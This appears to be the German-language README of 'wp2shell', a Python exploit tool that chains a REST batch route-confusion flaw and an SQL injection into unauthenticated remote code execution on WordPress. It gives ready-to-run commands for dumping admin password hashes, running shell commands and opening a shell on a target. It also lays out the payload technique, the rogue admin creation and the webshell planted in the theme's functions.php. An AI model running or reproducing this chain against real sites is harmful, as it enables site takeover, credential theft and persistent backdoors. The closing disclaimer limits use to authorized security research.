
CVE-2026-63030 / wp2shell
Eintägige WordPress RCE-Exploit-Kette. Nicht authentifiziert. CVSS 9.8.
Keine Abhängigkeiten — nur Python 3.8+ stdlib.
| Branch | Anfällig | Behoben |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | ≥ 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | ≥ 7.0.2 |
Zwei CVEs werden zu nicht authentifizierter Remote-Code-Ausführung verknüpft:
CVE-2026-63030 (route confusion) → batch desync bypasses auth
+
CVE-2026-60137 (SQL injection) → author__not_in sinks raw into SQL
↓
UNION-forge WP_Post rows → customizer changeset bridge → admin created
↓
Login as admin → theme editor → webshell → RCE
# Probe only — non-destructive, confirms vulnerability
python3 exploit.py --url http://target:8080 --check
# Extract admin password hashes from the database
python3 exploit.py --url http://target:8080 --dump-users
# Full chain: SQLi → admin → webshell → command
python3 exploit.py --url http://target:8080 --cmd "id; uname -a"
# Interactive shell (with working directory tracking)
python3 exploit.py --url http://target:8080 --shell
# Read arbitrary data via UNION SQL injection
python3 exploit.py --url http://target:8080 --read "SELECT @@version"
# Skip pre-auth bridge — use known credentials
python3 exploit.py --url http://target:8080 --user admin --password hunter2 --cmd whoami
python3 exploit.py --url http://target:8080 --check
python3 exploit.py --url http://target:8080 --dump-users
python3 exploit.py --url http://target:8080 --cmd "id; uname -a"
python3 exploit.py --url http://target:8080 --shell
python3 exploit.py --url http://target:8080 --read "SELECT @@version"
python3 exploit.py --url http://target:8080 --user admin --password hunter2 --cmd whoami
--url URL Target WordPress base URL (required)
--check Probe only — do not exploit
--dump-users Extract all user credentials via UNION SQLi
--read SQL Read a scalar SQL expression from the database
--cmd CMD Run a shell command on the target
--shell Open an interactive shell
--user USER Admin username (skip pre-auth admin creation)
--password PASS Admin password (use with --user)
--proxy URL HTTP proxy (e.g. http://127.0.0.1:8080)
--timeout SEC Request timeout (default: 30)
--no-cleanup Leave webshell and admin user on target
WordPress' Batch-Endpunkt unter /?rest_route=/batch/v1 akzeptiert ein Array von Teil-Anfragen. Wenn eine Teil-Anfrage einen nicht parsbaren Pfad (///) hat, wird ein WP_Error zu $validation hinzugefügt, aber nicht zu $matches. Die Dispatch-Schleife paart dann Anfrage N mit Handler N+1 — so wird eine Anfrage, die gegen ein Schema validiert wurde, an einen anderen Handler weitergeleitet.
Der Exploit sendet einen 3-stufig geschachtelten Batch, bei dem jede Ebene einen Desync-Primer an Position 0 verwendet, um Indizes zu verschieben. Die innerste Anfrage — validiert als Einzelbeitrag-Element (GET /wp/v2/posts/999999) — landet beim Sammlungs-Handler (posts->get_items()). Da das Element-Schema author_exclude nicht definiert, wird der Parameter unvalidiert durchgelassen.
get_items() bildet author_exclude → author__not_in ab und übergibt es an WP_Query. Wenn author__not_in ein String ist (kein Array), wird der Block array_map('absint', …) übersprungen. Der rohe String landet direkt in:
WHERE post_author NOT IN (<payload>)
Das Payload 0) UNION ALL SELECT …-- - schließt die NOT IN-Liste und hängt beliebiges SQL an.
WordPress 7.0.x wp_posts hat genau 23 Spalten. Durch Injizieren einer gefälschten Zeile via UNION ALL SELECT mit orderby=none (unterdrückt das nachfolgende ORDER BY) und per_page=500 (hält WP_Query im Vollzeilen-Modus) wird der gefälschte Beitragstitel — mit einem ||HEX||-Marker — in der REST-Antwort reflektiert. Alle Zeichenfolgenwerte verwenden MySQL-Hex-Literale (0x…), um Probleme mit Anführungszeichen durch URL-Kodierung zu vermeiden.
[embed]-Shortcodes → WordPress erstellt 3 oembed_cache-Zeilenwp_posts-Zeilen, die eine Customizer-Changeset-Kette bilden[embed]-Shortcode wird gerendert, was WP_Embed::shortcode() → wp_update_post() → WP_Customize_Manager → wp_insert_user() auslöstwp2_<random>) und Passwort (Wp2!<random>) erstelltAls neuer Administrator anmelden → Theme-Editor-Nonce extrahieren → token-geschützte PHP-Webshell am Anfang der functions.php des aktiven Themes injizieren → Zugriff via ?t=<token>&c=<command>.
urllib, json, re, hashlib, secrets, html)wp_remote_post()-Loopback-Prüfung durch. Wenn der Container sich selbst nicht per Hostname erreichen kann, wird die Theme-Bearbeitung blockiert. Verwenden Sie in diesen Fällen --dump-users + manuelle Anmeldung.--check.$ python3 exploit.py --url http://target --check
[+] VULNERABLE — route-confusion behavior detected!
[+] UNION SQLi extraction confirmed — in-band read available
$ python3 exploit.py --url http://target --dump-users
[*] 11 user(s) in wp_users:
ID=1 login=admin
pass=$wp$2y$10$...
...
Dieses Tool ist ausschließlich für autorisierte Sicherheitsforschung und Bildungszwecke bestimmt. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für deren Test Sie ausdrückliche Erlaubnis haben. Die Autoren übernehmen keine Haftung für Missbrauch.
| Schritt | CVE | Vektor |
|---|
| 1 | CVE-2026-63030 | Index-Fehlausrichtung von REST /batch/v1 entkoppelt Validierung vom Dispatch |
| 2 | CVE-2026-60137 | Der WP_Query-Parameter author__not_in überspringt absint(), wenn er als String übergeben wird |
| 3 | — | UNION SELECT erzeugt gefälschte wp_posts-Zeilen; oEmbed → Customizer → wp_insert_user |
| 4 | — | Als neu erstellter Administrator anmelden |
| 5 | — | Theme-Editor injiziert token-geschützte Webshell in aktives Theme |